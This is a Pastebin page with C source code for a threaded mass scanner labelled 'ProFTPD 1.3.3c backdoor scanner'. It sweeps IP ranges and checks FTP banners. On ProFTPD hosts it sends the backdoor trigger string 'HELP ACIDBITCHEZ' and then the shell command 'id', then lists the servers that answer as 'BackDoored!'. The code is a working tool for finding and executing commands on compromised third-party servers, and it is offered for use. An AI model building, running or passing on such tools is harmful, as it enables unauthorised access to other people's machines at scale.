Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- /*
- * For Linux:
- * gcc -o pro_scan pro_scan.c -O3 -Wall -pipe -DLinux -lpthread
- * For FreeBSD:
- * gcc -o pro_scan pro_scan.c -O3 -Wall -pipe -lpthread
- */
- #include <stdio.h>
- #include <unistd.h>
- #include <stdarg.h>
- #include <sys/types.h>
- #include <sys/wait.h>
- #include <sys/socket.h>
- #include <netinet/in.h>
- #include <netinet/tcp.h>
- #include <sys/resource.h>
- #include <arpa/inet.h>
- #include <netdb.h>
- #include <stdlib.h>
- #include <errno.h>
- #include <signal.h>
- #include <string.h>
- #include <assert.h>
- #include <poll.h>
- #include <fcntl.h>
- #include <sys/time.h>
- #include <pthread.h>
- #define TIMEOUT 10
- #define WAIT_TIME_SECONDS 15
- #define MAXHOSTS 0x70000000
- #define THREADS 256
- #ifdef Linux
- #define POLLRDNORM 0x040
- #endif
- //////////////////////////////////////////////////////////////////////
- static FILE *output = NULL;
- extern int errno;
- static char *start = NULL; /* start host */
- static char *end = NULL; /* end host */
- static unsigned short defaultport = 21;
- /* Number of IP will be scanned */
- static int totnum = 0;
- /* thread id */
- static pthread_t tid;
- static int inum = 0;
- /* start time */
- static time_t t1, t2;
- /* number of threads */
- static int thdnum = THREADS;
- /* current number of threads */
- static int curnum = 0;
- static int timeout = TIMEOUT;
- /* Mutex lock for 'curnum' */
- static pthread_mutex_t mutex_curnum = PTHREAD_MUTEX_INITIALIZER;
- /* cond for curnum */
- static pthread_cond_t cond_curnum = PTHREAD_COND_INITIALIZER;
- static unsigned short *ports = NULL;
- static int num_ports = 0;
- //////////////////////////////////////////////////////////////////////
- // follow signal functions ripped from scz
- static void terminate(void)
- {
- if (output != stdout) {
- fclose(output);
- output = stdout;
- }
- _exit(EXIT_SUCCESS);
- }
- static void on_terminate(int signo)
- {
- time_t t2 = time(NULL);
- fprintf(stderr, "----------------------------------------------------------------\n\n");
- fprintf(stderr,"Receive SIG NUM:%d %d/%d hosts, %lu secs, %ld hosts/sec .\n", signo, inum + 1,
- totnum, t2-t1, (inum+1)/(t2-t1));
- pthread_mutex_destroy(&mutex_curnum);
- pthread_cond_destroy(&cond_curnum);
- exit(EXIT_SUCCESS);
- } /* end of on_terminate */
- static void on_sigchld(int signo)
- {
- pid_t pid;
- int status;
- while ((pid = waitpid(-1, &status, WNOHANG)) > 0) {
- fprintf(stderr, "child <%u> terminated", (unsigned int)pid);
- } /* end of while */
- return;
- } /* end of on_sigchld */
- /*
- *
- */
- static void init_signal(void)
- {
- unsigned int i;
- atexit(terminate);
- for ( i = 1; i < 9; i++ ) {
- signal( i, on_terminate );
- }
- signal(SIGTERM, on_terminate);
- signal(SIGALRM, on_terminate);
- signal(SIGCHLD, on_sigchld);
- return;
- } /* end of init_signal */
- /* new:
- * tcp connect with no block socket, host to ip.
- * millisecond timeout, it's will be fast.
- * ;D
- * 2003/06/23 add by Sam
- */
- static int tcpConnect(const char *ip, unsigned int port, unsigned int timeout)
- {
- int sock, flag, pe = 0;
- size_t pe_len;
- fd_set rset;
- struct timeval tv;
- struct sockaddr_in addr;
- sock = socket(AF_INET, SOCK_STREAM, 0);
- if (-1 == sock) {
- perror("tcpConnect:socket\n");
- return -1;
- }
- addr.sin_addr.s_addr = inet_addr(ip);
- addr.sin_family = AF_INET;
- addr.sin_port = htons(port);
- /* set socket no block
- */
- flag = fcntl(sock, F_GETFL);
- if (-1 == flag) {
- perror("tcpConnect:fcntl\n");
- close(sock);
- return -1;
- }
- flag |= O_NONBLOCK;
- if (fcntl(sock, F_SETFL, flag) < 0) {
- perror("tcpConnect:fcntl\n");
- close(sock);
- return -1;
- }
- if (connect(sock, (const struct sockaddr *)&addr,
- sizeof(addr)) < 0 &&
- errno != EINPROGRESS) {
- // perror("tcpConnect:connect\n");
- close(sock);
- return -1;
- }
- /* set connect timeout
- * use millisecond
- */
- tv.tv_sec = timeout/1000;
- tv.tv_usec = timeout%1000;
- FD_ZERO(&rset);
- FD_SET(sock, &rset);
- if (select(sock+1, &rset, &rset, NULL, &tv) <= 0) {
- close(sock);
- return -1;
- }
- pe_len = sizeof(pe);
- if (getsockopt(sock, SOL_SOCKET, SO_ERROR, &pe, &pe_len) < 0) {
- perror("tcpConnect:getsockopt\n");
- close(sock);
- return -1;
- }
- if (pe != 0) {
- errno = pe;
- close(sock);
- return -1;
- }
- if (fcntl(sock, F_SETFL, flag&~O_NONBLOCK) < 0) {
- perror("tcpConnect:fcntl\n");
- close(sock);
- return -1;
- }
- pe = 1;
- if (setsockopt(sock, IPPROTO_TCP, TCP_NODELAY, &pe, pe_len) < 0) {
- perror("tcpConnect:setsockopt\n");
- close(sock);
- return -1;
- }
- return sock;
- }
- static int read_timer(int fd, unsigned int time_out)
- {
- /* ripped from no1 */
- int flags;
- int select_status;
- fd_set fdread;
- struct timeval timeout;
- if((flags = fcntl(fd, F_GETFL, 0)) < 0) {
- close(fd);
- return (-1);
- }
- if(fcntl(fd, F_SETFL, flags | O_NONBLOCK) < 0) {
- close(fd);
- return (-1);
- }
- timeout.tv_sec = time_out;
- timeout.tv_usec = 0;
- FD_ZERO(&fdread);
- FD_SET(fd, &fdread);
- select_status = select(fd + 1, &fdread, NULL, NULL, &timeout);
- if(select_status == 0) {
- close(fd);
- return (-1);
- }
- if(select_status == -1) {
- close(fd);
- return (-1);
- }
- if(FD_ISSET(fd, &fdread)) {
- if(fcntl(fd, F_SETFL, flags) < 0) {
- close(fd);
- return -1;
- }
- return 1;
- }
- else {
- close(fd);
- return 1;
- }
- }
- const char *mystristr(const char *haystack, const char *needle)
- {
- if ( !*needle )
- {
- return haystack;
- }
- for ( ; *haystack; ++haystack )
- {
- if ( toupper(*haystack) == toupper(*needle) )
- {
- /*
- * Matched starting char -- loop through remaining chars.
- */
- const char *h, *n;
- for ( h = haystack, n = needle; *h && *n; ++h, ++n )
- {
- if ( toupper(*h) != toupper(*n) )
- {
- break;
- }
- }
- if ( !*n ) /* matched all of 'needle' to null termination */
- {
- return haystack; /* return the start of the match */
- }
- }
- }
- return 0;
- }
- static int check_bd(int s)
- {
- int retval = 0;
- char *magic = "HELP ACIDBITCHEZ\n";
- char *cmd = "id\n";
- char resp[200];
- if (send(s, magic, strlen(magic), 0) != strlen(magic))
- {
- goto bd_out;
- }
- sleep(1);
- if (send(s, cmd, strlen(cmd), 0) != strlen(cmd))
- {
- goto bd_out;
- }
- if (read_timer(s, 4) == 1) {
- bzero(resp, sizeof(resp));
- retval = read(s, resp, sizeof(resp));
- if (retval < 0)
- {
- goto bd_out;
- }
- if (strstr(resp, "uid") != NULL)
- {
- retval = 0x557;
- goto bd_out;
- }
- } else
- {
- goto bd_out;
- }
- bd_out:
- return retval;
- }
- // Get ProFTPD version
- static int pro_getversion( char *hostName, unsigned short port)
- {
- int sock = -1, retval = -1, i;
- char resp[2048];
- struct pollfd fds[1];
- sock = tcpConnect(hostName, port, (timeout - timeout / 2) * 1000);
- if (sock <= 0)
- {
- //dump("Can't connect to remote host: %s (%s)", hostName, strerror(errno));
- goto ver_out;
- }
- fds[0].fd = sock;
- fds[0].events = POLLRDNORM;
- /*
- * set poll timeout (usec)
- */
- retval = poll(fds, 1, (timeout - timeout / 2) * 1000);
- if (retval <= 0) {
- goto ver_out;
- }
- bzero(resp, sizeof(resp));
- if (fds[0].revents & POLLRDNORM) {
- retval = read(sock, resp, sizeof(resp));
- if (retval < 0)
- {
- //dump("Error to read GET response (%s)", strerror(errno));
- goto ver_out;
- }
- for (i = 0; i < retval; i ++) {
- if (resp[i] == '\r'||resp[i] == '\n') {
- resp[i] = '\0';
- }
- }
- if (mystristr(resp, "proftpd") != NULL)
- {
- // printf("DEBUG: connected\n");
- if (check_bd(sock) == 0x557)
- {
- fprintf(output, "%-40s :%d %s (BackDoored!)\n", hostName, port, resp);
- retval = 0x557;
- goto ver_out;
- }
- }
- }
- ver_out:
- if (sock)
- {
- close(sock);
- sock = -1;
- }
- return retval;
- }
- /*
- * .......
- */
- static void *init_scan(void *arg)
- {
- pthread_t thread_id;
- int i = 0;
- /*
- * there some signal code ripped from scz's code
- */
- sigset_t signal_mask;
- thread_id = pthread_self();
- if (0 != sigfillset(&signal_mask)) {
- fprintf(stderr, "sigfillset error in thread [%u]\n", (unsigned int)thread_id);
- exit(EXIT_FAILURE);
- }
- /*
- * ........
- */
- if (0 != sigprocmask(SIG_BLOCK, &signal_mask, NULL)) {
- fprintf(stderr, "sigprocmask error in thread [%u]\n", (unsigned int)thread_id);
- exit(EXIT_FAILURE);
- }
- if (!ports && num_ports == 0)
- {
- pro_getversion(arg, defaultport);
- } else
- {
- for (i = 0 ; i <= num_ports; i ++)
- {
- if (pro_getversion(arg, ports[i]) == 0x557)
- {
- break;
- }
- }
- }
- pthread_detach(thread_id);
- #if 0
- fprintf(stderr, "%d: scan %s\n", pthread_self(), arg);
- #endif
- free(arg);
- pthread_mutex_lock(&mutex_curnum);
- curnum--;
- pthread_cond_broadcast(&cond_curnum);
- pthread_mutex_unlock(&mutex_curnum);
- return NULL;
- }
- static void getPorts(unsigned char *ptr)
- {
- unsigned char *ptr2 = ptr;
- int count = 1; /* assume 1 port is present */
- int i;
- int len = strlen(ptr);
- /* first count the ports */
- for(i = 0; i < len; i++)
- if(ptr[i] == ',')count++;
- ports = (unsigned short*) calloc(count+1,sizeof(unsigned short));
- if (ports == NULL)
- {
- exit(EXIT_FAILURE);
- }
- count = 0;
- while(1) {
- unsigned char *tmp;
- tmp = strchr(ptr2,',');
- /* we are done */
- if(!tmp) {
- ports[count] = atoi(ptr2);
- break;
- }
- *tmp = 0;
- ports[count] = atoi(ptr2);
- count++;
- ptr2 = tmp+1;
- }
- num_ports = count;
- return;
- }
- /*
- * Print usage messages
- */
- static void usage(char *s)
- {
- fprintf(stderr, "Usage: %s [-s startip] [-e endip] [-t timeout] [-n maxthreadnum] [-p port:21] [-l logfile] [-h?]\n\n", s);
- }
- int main(int argc, char *argv[])
- {
- int i;
- struct rlimit rl;
- struct in_addr current_ip; /* current ip */
- struct in_addr final_ip; /* last ip to scan */
- char *host, *file = NULL;
- fprintf(stderr, "ProFTPD 1.3.3c backdoor scanner\n\n");
- while ((i = getopt(argc,argv,"h?:s:e:t:n:p:l:")) != EOF) {
- switch (i) {
- case 's':
- start = strdup(optarg);
- if(!inet_aton(start, ¤t_ip)) {
- fprintf(stderr, "invalid IP address: %s\n", start);
- return -1;
- }
- break;
- case 'e':
- end = strdup(optarg);
- if(!inet_aton(end, &final_ip)) {
- fprintf(stderr, "invalid IP address: %s\n", end);
- return -1;
- }
- break;
- case 't':
- timeout = atoi(optarg);
- break;
- case 'n':
- thdnum = atoi(optarg);
- break;
- case 'p':
- getPorts(optarg);
- break;
- case 'l':
- file = strdup(optarg);
- break;
- case 'h':
- case '?':
- usage(argv[0]);
- exit(EXIT_FAILURE);
- }
- }
- if (start == NULL && end == NULL) {
- usage(argv[0]);
- exit(EXIT_FAILURE);
- }
- signal(SIGPIPE, SIG_IGN);
- init_signal();
- /* Set highest priority */
- if (!geteuid()) {
- fprintf(stderr, "Set highest priority \n");
- setpriority(PRIO_PROCESS, 0, -20);
- }
- /* Raise number of open files */
- if (!getrlimit(RLIMIT_NOFILE, &rl)) {
- fprintf(stderr, "Set Max open files to : %d\n", (int )rl.rlim_max);
- rl.rlim_cur = rl.rlim_max;
- setrlimit(RLIMIT_NOFILE, &rl);
- }
- if (thdnum + 10 > rl.rlim_cur) {
- thdnum = rl.rlim_cur - 10;
- fprintf(stderr, "Too many threads,set threads number to %d\n", thdnum);
- }
- totnum = (ntohl(final_ip.s_addr) - ntohl(current_ip.s_addr)) + 1;
- if (totnum > MAXHOSTS) {
- fprintf(stderr, "Too may hosts, MAX hosts: %d\n", MAXHOSTS);
- exit(EXIT_FAILURE);
- }
- output = stdout;
- if (file != NULL) {
- fprintf(stderr, "Set Logfile : %s\n", file);
- if ((output = fopen(file, "w+")) == NULL) {
- fprintf(stderr, "Error in open Logfile %s :%s\n", file, strerror(errno));
- return(EXIT_FAILURE);
- }
- }
- fprintf(stderr,"Scan start : %d hosts , %d threads ...\n\n",totnum, thdnum);
- fprintf(stderr, "----------------------------------------------------------------\n");
- t1 = time(NULL);
- for (inum = 0; inum < totnum; inum ++) {
- host = calloc(16, 1);
- if (host == NULL) {
- fprintf(stderr, "No memory left\n");
- return -1;
- }
- sprintf(host, "%s", inet_ntoa(current_ip));
- current_ip.s_addr = htonl(ntohl(current_ip.s_addr)+1);
- pthread_mutex_lock(&mutex_curnum);
- if (curnum >= thdnum) {
- pthread_cond_wait(&cond_curnum, &mutex_curnum);
- }
- curnum ++;
- pthread_mutex_unlock(&mutex_curnum);
- /*
- * ..........
- */
- if (pthread_create(&tid, NULL, (void *)init_scan, (void *)host) != 0) {
- fprintf(stderr, "pthread_create: %s\n", strerror(errno));
- exit(EXIT_FAILURE);
- }
- }
- pthread_mutex_lock(&mutex_curnum);
- while(curnum > 0) {
- pthread_cond_wait(&cond_curnum, &mutex_curnum);
- }
- pthread_mutex_unlock(&mutex_curnum);
- t2 = time(NULL);
- fprintf(stderr, "----------------------------------------------------------------\n");
- fprintf(stderr, "\nScan completed, %ld sec ", t2-t1);
- if (t2 - t1)
- fprintf(stderr, "%ld hosts/sec.\n", totnum/(t2-t1));
- else
- fprintf(stderr, " \n");
- pthread_mutex_destroy(&mutex_curnum);
- pthread_cond_destroy(&cond_curnum);
- return(EXIT_SUCCESS);
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement